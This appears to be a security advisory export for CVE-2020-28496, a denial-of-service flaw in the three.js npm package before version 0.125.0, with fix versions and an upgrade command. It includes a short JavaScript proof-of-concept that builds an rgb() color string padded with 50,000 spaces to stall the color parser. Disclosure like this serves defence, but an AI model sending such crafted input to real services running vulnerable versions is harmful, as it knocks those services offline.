three
Affected
- introduced
0, fixed0.125.0(semver)
Fixed versions
0.125.0
Fix
- Fixed version
0.125.0npm install [email protected]
Advisory
Also known as: CVE-2020-28496
Denial of service in three
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")High Basis: The source's own band: HIGH
0, fixed 0.125.0 (semver)0.125.0
0.125.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0